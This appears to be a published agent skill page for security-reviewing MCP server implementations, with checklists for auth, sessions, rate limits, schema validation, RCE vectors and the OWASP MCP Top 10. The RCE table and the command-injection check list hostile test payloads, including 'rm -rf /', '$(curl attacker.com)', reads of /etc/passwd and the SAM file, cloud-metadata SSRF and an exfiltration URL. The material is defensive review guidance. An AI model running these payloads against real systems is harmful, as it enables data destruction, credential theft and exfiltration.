skills/mcp-implementation-security-review/SKILL.md
Review the implementation source code of MCP (Model Context Protocol) servers, clients, and tool handlers against a security baseline — authentication, sessions, rate limiting, input-schema validation, official-SDK usage, RCE vectors, and the OWASP MCP Top 10 — producing a report with file/line evidence. Use this skill when: - Reviewing an MCP server implementation for security before release - Checking a server against the baseline controls (MCP-01 to MCP-05) and the OWASP MCP Top 10 - Auditing tools for RCE vectors (command/code injection, unsafe deserialization, path traversal, SSTI, dependency hijacking, SSRF) - Verifying auth, session, rate-limiting, and input-validation controls on a network-exposed server - Reviewing MCP client code that handles untrusted server responses and session IDs - Requests like "review this MCP server for security" or "is my MCP server implementation secure?"
npx skillsauth add williamlimasilva/.copilot mcp-implementation-security-reviewInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Completion criterion: Target type, protocol status, and transport are identified.
Completion criterion: Remaining evidence is in-scope code, repo-owned docs, or public API behavior.
Completion criterion: Each applicable control has a supported status.
Completion criterion: Every relevant tool has an RCE result or explicit N/A.
Completion criterion: All 10 OWASP risks have outcomes supported by observable evidence or referenced from Step 3.
Completion criterion: The report includes controls, RCE, optional OWASP, and actions.
Network-exposed (enforce all controls):
| Pattern | Transport |
|---|---|
| transport="http" or transport="sse" | HTTP/SSE |
| StreamableHttpServerTransport | HTTP (TS/JS) |
| SSEServerTransport | SSE (TS/JS) |
| WithHttpTransport() | HTTP (C#) |
| host="0.0.0.0" | All-interfaces binding |
| Express .listen(port) with MCP routes | HTTP (default 0.0.0.0) |
| EXPOSE in Dockerfile + MCP server | Network-exposed |
Local-only (best practices only):
| Pattern | Transport |
|---|---|
| StdioServerTransport | STDIO (TS/JS) |
| WithStdioServerTransport() | STDIO (C#) |
| transport="stdio" | STDIO |
| mcp.run() with no args (Python FastMCP) | STDIO default |
| .vscode/mcp.json with command key and no URL | STDIO child process |
Host binding gotchas:
| Binding | Actual exposure |
|---|---|
| host="0.0.0.0" | 🔴 Network-exposed |
| host="127.0.0.1" or localhost | 🟢 Local-only |
| No explicit host (Express/Node) | 🔴 Defaults to 0.0.0.0 |
| No explicit host (Python FastMCP) | 🟡 Depends on transport — verify |
| Docker ports: "8000:8000" | 🔴 Network-exposed even if the process binds 127.0.0.1 inside the container |
| FP pattern | How to detect |
|---|---|
| .github/skills/ templates | Path contains .github/skills/ — skill template, not server code |
| Vendored SDK / OSS copies | File defines class FastMCP, class McpServer, or path is in node_modules/, vendor/ |
| MCP client configs | .vscode/mcp.json with inputs/servers but no server code |
| Documentation / tutorials | .md, .rst with code fences unrelated to the repo's own server |
| Outbound-only auth libraries | DefaultAzureCredential, service account JSON, or similar used only for outbound auth |
Docs describing the repo's own server behavior, transport, auth posture, or deployment are not false positives.
Scope: Remote MCP servers
Condition
/.well-known/oauth-protected-resource, /.well-known/oauth-authorization-server, /.well-known/openid-configuration.What to check
Authorization.Key pitfall: Shared application identities or forwarded caller tokens break identity isolation and create confused-deputy paths.
Scope: Remote MCP servers that support sessions
Applicability
Mcp-Session-Id) but generation/binding not visible in source → mark NEEDS INVESTIGATION, not FAIL.Condition
What to check
Key pitfall: Treating a session ID as a bearer credential turns a correlation token into authentication.
Scope: MCP servers and tools
Condition
What to check
Starting thresholds (tune to actual load, downstream limits, and cost):
| Tool type | Per-identity | Per-session | Notes | |---|---|---|---| | Read-only / listing | 100/min | 200/min | Lower if downstream APIs are sensitive | | Mutation / write | 10/min | 20/min | Stricter for state-changing ops | | High-cost compute | 5/min | 10/min | Cost-weighted; watch cloud spend | | Tool discovery | 30/min | 60/min | Prevents enumeration abuse |
Key pitfall: Gateway-only throttling or one flat bucket leaves bypasses and under-protects expensive tools.
Scope: MCP servers exposing tools with structured arguments
Condition
additionalProperties: false or equivalent).What to check
Key pitfall: Allowing extra properties or client-only validation creates hidden attack surface and scope creep.
Scope: Remote MCP servers
Condition
What to check
Key pitfall: Hand-rolled servers often miss one "small" primitive—per-request auth, throttling, or validation—and the gaps compound.
| Vector | Dangerous code | Safe alternative | Test payload | CWE |
|---|---|---|---|---|
| Command injection | exec("convert " + args.filename), os.system(f"process {user_input}"), Process.Start("cmd", "/c " + toolArg) | execFile("convert", [args.filename]), subprocess.run(["process", user_input], shell=False) | ; rm -rf /, $(curl attacker.com), | net user must be rejected or treated literally | CWE-78 |
| Dynamic code evaluation | eval(args.expression), exec(tool_output), new Function(args.code)() | Sandboxed parser, AST-based evaluation, or predefined allowlist | __import__('os').system('whoami'), require('child_process').exec('id') must be rejected | CWE-94, CWE-95 |
| Unsafe deserialization | pickle.loads(user_data), yaml.load(input, Loader=yaml.UnsafeLoader), BinaryFormatter.Deserialize(stream) | yaml.safe_load(), JSON.parse() plus schema validation; avoid binary formats for untrusted input | Crafted serialized payloads must be rejected or safely handled | CWE-502 |
| Path traversal | fs.readFile(args.path) without validation, open(user_path, 'w') | Canonicalize and enforce an allowlisted base directory before read/write/execute | ../../../../etc/passwd, C:\Windows\System32\config\SAM, ..\..\..\.env must be rejected | CWE-22 |
| SSTI | Template(user_input).render(), Handlebars.compile(args.template)({data}) | Never use user input as template source; use predefined templates with parameters only | {{7*7}}, ${7*7}, <%= 7*7 %> must not render 49 | CWE-1336 |
| Dependency hijacking | Unpinned deps such as "lodash": "^4.0.0"; internal package names resolvable from public registries | Pin exact versions, keep lock files with integrity hashes, use trusted/scoped registries, verify signatures where available | npm audit, pip audit, or dotnet list package --vulnerable; review for CVEs and suspicious packages | CWE-829 |
| SSRF | requests.get(user_param), fetch(user_input), HttpClient.GetAsync(user_input) | Allowlist schemes/domains, block RFC1918 and link-local targets, validate URLs before sending | http://169.254.169.254/latest/meta-data/, http://localhost:8080/admin, http://attacker.com/?data=stolen must be rejected | CWE-918 |
MCP01:2025 — Token Mismanagement & Secret Exposure Test: Search for hardcoded secrets and token logging; verify secrets come from env vars or a secrets manager; verify short-lived/rotated tokens. Pass: No hardcoded secrets, sensitive fields redacted, short-lived/rotated tokens. Fail: Hardcoded secrets, token logging, or long-lived tokens without rotation.
MCP02:2025 — Privilege Escalation via Scope Creep Test: Review scopes/roles; confirm least privilege and per-request authorization; reject wildcard admin scopes unless justified; check for runtime capability expansion. Pass: Least-privilege scopes, per-request authorization, no runtime capability expansion. Fail: Broad scopes, one-time auth only, or self-escalating tools.
MCP03:2025 — Tool Poisoning Test: Check whether tool definitions are static and server-controlled, whether tools can alter metadata, and whether outputs contain LLM-parseable instructions. Pass: Static server-controlled definitions and data-only outputs. Fail: External metadata sources or outputs with embedded instructions.
MCP04:2025 — Supply Chain Attacks & Dependency Tampering
Test: Check for lock files, exact pinning, suspicious postinstall scripts, dependency audit results, and trusted registries.
Pass: Pinned deps, committed lock file, no known vulnerabilities, no suspicious post-install scripts. Fail: Unpinned deps, no lock file, unpatched CVEs, or untrusted registries.
MCP05:2025 — Command Injection & Execution
Test: Search for shell execution APIs and string-built commands; trace whether tool input reaches shell execution; test ; ls, $(whoami), | cat /etc/passwd.
Pass: No shell execution from untrusted input, or only parameterized allowlisted execution. Fail: User input reaches shell commands, shell=True with formatted strings, or unsafe concatenation.
MCP06:2025 — Prompt Injection via Contextual Payloads Test: Check whether tool output goes back to the LLM, whether external content is sanitized/truncated/sandboxed, and whether chained tool calls are guarded; test adversarial instruction-bearing output. Pass: Tool outputs are data, untrusted content is sanitized/truncated/sandboxed, and chaining has guardrails. Fail: Raw external content returns to the model and there are no chaining limits.
MCP07:2025 — Insufficient Authentication & Authorization Test: Send requests without auth and with expired/invalid tokens; verify per-tool authorization; confirm auth is enforced in the server, not only at the gateway. Pass: All endpoints require valid auth, per-tool authorization exists, and enforcement happens server-side. Fail: Any unauthenticated access, missing per-tool auth, or gateway-only enforcement.
MCP08:2025 — Lack of Audit and Telemetry Test: Invoke a tool and confirm logs capture caller identity, tool name, and timestamp; trigger an error and confirm useful context; verify centralized logging and alerting. Pass: Tool invocations are logged with identity, logs are centralized, and alerts exist. Fail: Missing logs, no caller identity, local-only logging, or no alerting.
MCP09:2025 — Shadow MCP Servers Test: Verify the server exists in service inventory; inspect for undocumented MCP endpoints or exposed non-standard ports; check dev/staging isolation; verify an owner and review trail. Pass: All servers are inventoried, isolated appropriately, and owned. Fail: Undocumented servers, dev/test exposure into production networks, or no ownership.
MCP10:2025 — Context Injection & Over-Sharing Test: Inspect tool responses for data minimization; check for PII or full objects when only subsets are needed; verify context isolation. Pass: Minimal data is returned, sensitive fields are masked/excluded, and context is isolated. Fail: Full objects are returned unnecessarily, PII is exposed, or context is shared across users.
In every summary table below, the Justification cell must cite specific file/line evidence for the status.
| Control | Name | Status | Justification | |---|---|---|---| | MCP-01 | Auth & Identity isolation | ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION / N/A | … | | MCP-02 | Secure Session Management | … | … | | MCP-03 | Rate limiting & abuse protection | … | … | | MCP-04 | Input schema validation | … | … | | MCP-05 | Production SDK usage | … | … |
Use PASS only when the code clearly satisfies the control. Use FAIL when the violation is observable. Use NEEDS INVESTIGATION when compliance depends on deployment config, identity-provider state, logs, or other evidence not visible in source.
| Vector | Status | Justification | |---|---|---| | Command injection | SAFE / AT RISK / N/A | … | | Dynamic code evaluation | … | … | | Unsafe deserialization | … | … | | Path traversal | … | … | | SSTI | … | … | | Dependency hijacking | … | … | | SSRF | … | … |
| Risk | Status | Justification | |---|---|---| | MCP01:2025 | ✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION | … | | MCP02:2025 | … | … | | MCP03:2025 | … | … | | MCP04:2025 | … | … | | MCP05:2025 | … | … | | MCP06:2025 | … | … | | MCP07:2025 | … | … | | MCP08:2025 | … | … | | MCP09:2025 | … | … | | MCP10:2025 | … | … |
List every check that could not be fully resolved from source code, specifying what artifact or access is needed to verify it.
tools
Create a new workshop or use an existing directory as one. Handles two paths: (A) use an existing local directory the operator points at, or (B) create a new private GitHub repo in the signed-in account. Never creates a repo inside another repo.
development
Guide for setting up vcpkg in C++ projects, managing dependency versions, and cross-compiling. Covers manifest initialization, CMake and Visual Studio integration, classic-to-manifest migration, version pinning, baselines, overrides, triplets, and cross-compilation. Use when a user is working with vcpkg project setup, installation, version management, or cross-platform builds. For specialized tasks, additional references cover custom registries and overlay ports (references/registries.md), CI/CD and binary caching (references/ci.md), and troubleshooting and dependency lifecycle (references/troubleshooting.md).
testing
Emit structured agent signals — hands-up, blocked, done, checkpoint, partnership. Signals are written as JSON to .signals/ for dashboard consumption and noted in the journal for persistence.
development
Install and configure Markstream streaming Markdown renderers for Vue, React, Svelte, Angular, Nuxt, and Vue 2 applications. Use for package selection, minimal peer dependencies, CSS order, SSR boundaries, streaming mode, and renderer setup.